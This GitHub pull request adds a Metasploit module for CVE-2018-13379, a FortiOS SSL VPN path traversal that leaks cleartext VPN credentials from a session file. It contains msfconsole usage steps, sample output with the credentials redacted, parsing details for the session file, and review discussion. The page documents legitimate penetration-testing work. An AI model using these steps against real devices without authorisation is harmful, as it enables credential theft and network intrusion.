Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add fortios path traversal credential grabber (cve-2018-13379) #14518

Merged
merged 8 commits into from
Feb 26, 2021

Conversation

mekhalleh
Copy link
Contributor

@mekhalleh mekhalleh commented Dec 15, 2020

FortiOS system file leak through SSL VPN via specially crafted HTTP resource requests (CVE-2018-13379).

A path traversal vulnerability in the FortiOS SSL VPN web portal may allow an unauthenticated
attacker to download FortiOS system files through specially crafted HTTP resource requests.

Vulnerable Application

This exploit read /dev/cmdb/sslvpn_websession file, this file contains login and passwords in (clear/text).
This vulnerability affect (FortiOS 5.4.6 to 5.4.12, FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4).

Verification Steps

  1. Start msfconsole
  2. Do: use auxiliary/scanner/http/fortios_vpnssl_traversal_leak
  3. Do: set RHOSTS [IP]
  4. Do: set RPORT 10443
  5. Do: run

Options

DUMP_FORMAT

Dump format. (Accepted: raw, ascii)

STORE_CRED

Store credential into the Metasploit database.

Scenarios

Usages

You can scan and get all credentials on the remote target when you run the followind command:

msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) > options

Module options (auxiliary/scanner/http/fortios_vpnssl_traversal_leak):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_FORMAT  raw              yes       Dump format. (Accepted: raw, ascii)
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS       XXX.XX.XXX.X     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        10443            yes       The target port (TCP)
   SSL          true             no        Negotiate SSL/TLS for outgoing connections
   STORE_CRED   true             no        Store credential into the database.
   STORE_LOOT   false            no        Store dump in loot.
   TARGETURI    /remote          yes       Base path
   THREADS      16               yes       The number of concurrent threads (max one per host)
   VHOST                         no        HTTP server virtual host

msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) > run

[*] Trying - https://XXX.XX.XXX.X:10443/
[+] Target - https://XXX.XX.XXX.X:10443/ - Vulnerable!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) > creds
Credentials
===========

host          origin        service            public  private  realm  private_type  JtR Format
----          ------        -------            ------  -------  -----  ------------  ----------
XXX.XX.XXX.X  XXX.XX.XXX.X  10443/tcp (https)  redacted  redacted          Password      

msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) >

You can get a dump capture of the leaked data file.

To do this specific thing, here's how you do it:

msf6 > use auxiliary/scanner/http/fortios_vpnssl_traversal_leak
msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) > set RHOSTS [IP]
msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) > set LHOST 10443
msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) > set STORE_LOOT true
msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) > run

[*] Trying - https://XXX.XX.XXX.X:10443/
[+] Target - https://XXX.XX.XXX.X:10443/ - Vulnerable!
[+] File saved to /home/mekhalleh/.msf4/loot/20201130122633_default_XXX.XX.XXX.X__209748.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) >

@jmartin-tech jmartin-tech changed the title add. fortios path traversal (cve-2018-13379) add fortios path traversal (cve-2018-13379) Dec 15, 2020
@h00die
Copy link
Contributor

h00die commented Dec 15, 2020

looks like the oldest VM fortinet has on their download page is 6.2.5

@mekhalleh
Copy link
Contributor Author

Yep, for the 6.2 branch. but a lot haven't done the updates. many devices still have vulnerable in the wild.

If you need to check I can share by mail the public IP to the vulnerable device in my lab.

creds << "#{parse_config(chunk)}"
end
end
rescue NoMethodError
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Instead of assuming the chunk has valid credentials in it and then rescuing this generic exception, we should check the input to see if it is valid. NoMethodError is raised by any typing error in the code, and rescuing it here will make the module much harder to maintain or even tell if it's broken in the future.

Copy link
Contributor

@bcoles bcoles Dec 18, 2020

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Related: #14518 (comment)

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

yes sorry, I had to do some testing before making this change. I think it's better now.

@wvu wvu added the needs-linting The module needs additional work to pass our automated linting rules label Dec 19, 2020
@label-actions
Copy link

label-actions bot commented Dec 19, 2020

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

@bwatters-r7
Copy link
Contributor

I'd strongly recommend you just use rubocop -a to automatically correct errors. We've spent a lot of time customizing the rules.

@bwatters-r7
Copy link
Contributor

If you need to check I can share by mail the public IP to the vulnerable device in my lab.
Would you be willing to share that with msfdev[at]metasploit.com?

@mekhalleh
Copy link
Contributor Author

I'd strongly recommend you just use rubocop -a to automatically correct errors. We've spent a lot of time customizing the rules.

I corrected several recommendations from rubocop. However with the switch -a one that breaks the code.

@bcoles
Copy link
Contributor

bcoles commented Feb 1, 2021

I'd strongly recommend you just use rubocop -a to automatically correct errors. We've spent a lot of time customizing the rules.

I corrected several recommendations from rubocop. However with the switch -a one that breaks the code.

what broke?

@mekhalleh
Copy link
Contributor Author

I'd strongly recommend you just use rubocop -a to automatically correct errors. We've spent a lot of time customizing the rules.

I corrected several recommendations from rubocop. However with the switch -a one that breaks the code.

what broke?

sorry, surely an error on my side, I updated.

@gwillcox-r7 gwillcox-r7 self-assigned this Feb 14, 2021
@gwillcox-r7
Copy link
Contributor

Going to rebase this due to a conflict in testing with the rex-text gem, as well as the fact that we did a bunch of updates recently that this module should be tested with to make sure nothing is awry.

@mekhalleh
Copy link
Contributor Author

First, what you should know is that the credentials are stored in the session file. And that as long as no user is connected there is no password in it.

To test, you must first simulate a connection:

  1. Connect to the vpn ssl
  2. run the module

** the mdp remains in memory until the device is restarted.

But that's not the only problem, apparently the separator needs to be changed.

separator = "\x5F\x01"
separator = "\x5F\x00\x00\x00\x00\x01" if data =~ /\x5F\x00\x00\x00\x00\x01/

to

separator = "\x60\x01"
separator = "\x60\x00\x00\x00\x00\x01" if data =~ /\x60\x00\x00\x00\x00\x01/

And I'm trying to understand why? 2020 -> 2021?

image

@mekhalleh
Copy link
Contributor Author

do not merge now as that may change. we need to find a better way to parse the response to collect credentials.

@mekhalleh
Copy link
Contributor Author

it seems that I am not far from understanding why ...

image

int(0x5E5625A6)
1582704038
5E5625A6 -> 1582704038

image

image

@mekhalleh
Copy link
Contributor Author

it's far from elegant, but it does the job well.

I tested on multiple vulnerable devices. The problem is that the header is different each time and the space allocated to session data may change depending on the devices.

@gwillcox-r7
Copy link
Contributor

Testing the updates confirmed that it works as expected. Results have been emailed over @mekhalleh; not posting them here due to sensitivity.

Copy link
Contributor

@gwillcox-r7 gwillcox-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hmm so overall this code looks great but I do have a few questions. The first is that this module could potentially handle other files, but it looks more like its a credential gatherer at the moment. This brings into question why this module is not located under the modules/auxiliary/gather/ branch, which would be more appropriate for a credential gatherer.

I also noted that this exploit could be used to retrieve more than creds if you wish to change this, though in light of the above note I'm not sure if this would be a good idea or not; might be better to just make it a dedicated credential gatherer to avoid confusion.

Finally I made one comment r.e a line of code that I think could be removed.

Let me know what you think, open to ideas :)

@gwillcox-r7
Copy link
Contributor

Alright after further consideration I realized my previous suggestions didn't make much sense, however the move to place the files under the modules/auxiliary/gather/ branch as this module is related to credential gathering does make sense. Therefore I'm just going to go ahead and quickly make that change, apply one minor spacing related RuboCop, and then get this module landed.

@gwillcox-r7 gwillcox-r7 removed the needs-linting The module needs additional work to pass our automated linting rules label Feb 26, 2021
@gwillcox-r7
Copy link
Contributor

Okay sorry about that had a small case where I realized the commit history could be tidied up so went ahead and did that, and then also made a mistake with not updating some documentation to reflect the recent file name changes so went ahead and fixed that up. Should be able to land this once checks pass.

@gwillcox-r7 gwillcox-r7 merged commit 5334f05 into rapid7:master Feb 26, 2021
@gwillcox-r7 gwillcox-r7 changed the title add fortios path traversal (cve-2018-13379) Add fortios path traversal credential grabber (cve-2018-13379) Feb 26, 2021
@gwillcox-r7 gwillcox-r7 added the rn-modules release notes for new or majorly enhanced modules label Feb 26, 2021
@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Feb 26, 2021

Release Notes

New module auxiliary/gather/fortios_vpnssl_traversal_creds_leak leverages a directory traversal vulnerability (CVE-2018-13379) in the SSL VPN web portal of FortiOS 5.4.6 to 5.4.12, FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 to grab the /dev/cmdb/sslvpn_websession file, which contains the plaintext list of currently connected usernames and their associated passwords. These credentials can then be saved to the creds database for use in future attacks.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

8 participants